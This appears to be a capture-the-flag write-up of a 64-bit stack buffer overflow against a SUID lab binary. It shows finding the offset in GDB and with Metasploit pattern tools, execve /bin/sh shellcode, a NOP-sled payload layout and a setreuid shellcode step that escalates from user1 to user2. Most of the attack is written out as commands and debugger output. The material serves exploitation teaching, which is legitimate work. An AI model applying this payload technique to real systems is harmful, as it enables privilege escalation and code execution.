Step 1: Find the offset

The first step is to find the offset that will allow us to replace the return address. To do this, there are 2 methods:

Manual method:

We can see in the source code that the buffer is 140 bytes long, but between the end of this buffer and the return address there are possible fill bytes (memory alignment) and the rbp register (base pointer), which is 8 bytes long on a 64-bit architecture.
So, to overwrite the return address, you’ll need at least 148 bytes. To find out the exact value, we’ll fill our input with ‘A’ characters (\x41) and observe in GDB when the return address is actually overwritten.

Run GDB on the binary :

1
gdb buffer-overflow

Then execute with a string of 148 ‘A’.

1
2
3
4
5
6
7
8
9
(gdb) run $(python -c "print('A'*148)")

Starting program: $(python -c "print('A'*148)")
Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400595 in main ()

The program crashes with a segmentation error, but the return address has not been overwritten by our ‘A’s, as we can’t see any 41 in the address. By increasing the size of the string, we notice that at 155 bytes, we start to overwrite the return address:

1
2
3
4
5
6
(gdb) run $(python -c "print('A'*155)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()

So, with 158 A, we can completely overwrite the return address :

1
2
3
4
5
6
(gdb) run $(python -c "print('\x41'*158)")
Here's a program that echo's out your input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00004141414141 in ?? ()

Thus, the exact offset to reach the return address is 158 - 6 = 152 bytes.

Method 2: With Metasploit

Another way of finding the offset is to use the tools provided by Metasploit. First, generate a string of unique patterns with pattern_create.rb :

1
2
└──╼$/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1.....Ag1Ag2Ag3Ag4Ag5Ag

This string is injected into the program:

1
2
3
4
5
6
7
(gdb) run 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'

Here's a program that echo's out your input
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400563 in copy_arg ()

Once the program has crashed, we access the register values to retrieve the rbp or rip values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) i r
rax 0xc9 201
rbx 0x0 0
rcx 0x7ffff7b08894 140737348929684
rdx 0x7ffff7dd48c0 140737351862464
rsi 0x602260 6300256
rdi 0x0 0
rbp 0x6641396541386541 0x6641396541386541 <-- REASONS
rsp 0x7fffffffe2b8 0x7fffffffe2b8
r8 0x7ffff7fef4c0 140737354069184
r9 0x77 119
r10 0x5e 94
r11 0x246 582
r12 0x400450 4195408
r13 0x7fffffe3b0 140737488348080
r14 0x0 0
r15 0x0 0
rip 0x400563 0x400563 <copy_arg+60>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0

Then we use pattern_offset.rb to find the exact offset:

1
2
└──╼$/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 6641396541386541
[*] Exact match at offset 144

Since we know that rbp is 8 octes, we find the value of 152 by doing 144 +8

Step 2: Create shell code

There are several shell codes on the Internet, one of which is the following:

1
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

Step 3: Find the address of the shellcode

Now that we’ve got our shellcode, we need to make sure it’s somewhere in memory at a predictable address so we can execute it. The return address must point to our shellcode.

To do this, we construct our payload as follows:

  • 100 bytes of NOPS (\x90). This is what we call a NOP sled, a sliding ramp to the shellcode.
  • 40 bytes of shellcode
  • 12 bytes of paddinf to complete the offset
  • 6 bytes for return address

This makes a total of 158 bytes. To find the return address to set, start by executing :

1
(gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + 'B'*6")

Next, we try to find out what we’ve injected into the stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
0x7fffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141 <--- start of the buffer
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a <--- start of the shellcode
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
0x7fffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a
0x7fffffffe2d8: 0x050fff31 0x41414141 0x41414141 0x41414141
0x7fffffffe2e8: 0x42424242 0x00004242 0xffffe3e8 0x00007fff

When we inspect the memory in GDB with the command x/100x $rsp-200, we can clearly see the contents of the buffer we’ve injected. First you can see all the 0x41s - these are the ‘A’ characters we’ve used to fill the memory up to the offset. Just after this ‘A’-filled area, our shellcode appears.

To find the precise address at which the shellcode begins, we rely on what GDB shows us. On the line containing the start of the shellcode, the address shown on the far left is 0x7fffffffe2a8. This represents the address of the first column of this memory line, i.e. the first 4 bytes.

However, our shellcode starts at the fourth column of this line, i.e. 3 columns further down. As each column corresponds to 4 bytes, we need to add 3 * 4 = 12 bytes to the base address.

In hexadecimal, 12 is written 0xC. The calculation thus becomes :

1
0x7fffffffe2a8 + 0xC = 0x7fffffffe2b4

We have therefore determined that the shellcode starts exactly at address 0x7fffffe2b4. This is the address we need to use to replace the return address in our payload. So, at the end of the vulnerable function, the program will execute a ret instruction which will jump directly to this address, and execute our shellcode.

However, it should be borne in mind that the memory layout may vary slightly each time the program is executed. This may be due to ASLR (Address Space Layout Randomization) or natural stack fluctuations. For this reason, an NOP sled - a series of NOP (\x90) instructions - is inserted before the shellcode. This allows the program to “slide” into the NOP zone even if the address is a little imprecise, and eventually execute the shellcode correctly.

So, by replacing the A’s with the NOPs and the B’s with the desired return address, we end up with a shell

On the other hand, we can see that we haven’t passed user2 as expected.
This is because, even though the binary has the SUID bit and gives user2 privileges (UID effectuf), our real UID remains that of user1.

However, when you run /bin/sh, the shell checks the real UID to prevent abuse, and if it sees a difference between the real and effective UIDs, it automatically reverts to the real UID.

So, to correct this, we need to use setreuid(1002,1002) in our shellcode, which allows us to change both the real UID and the effective UID.

To build the shellcode to add and execute setreuid, you can use pwntools :

1
pwn shellcraft -f d amd64.linux.setreuid 1002
  • pwn shellcraft : this is the pwntools tool that generates ready-to-use shellcode
    -f d : options to format output directly as a byte string
  • amd64.linux.setreuid 1002 : requests a shellcode for linux’s amd64 architecture and the system call setreuid(1002,1002)

By modifying the shellcode and adjusting the memory addresses and the number of nops, we get a shell as user2 :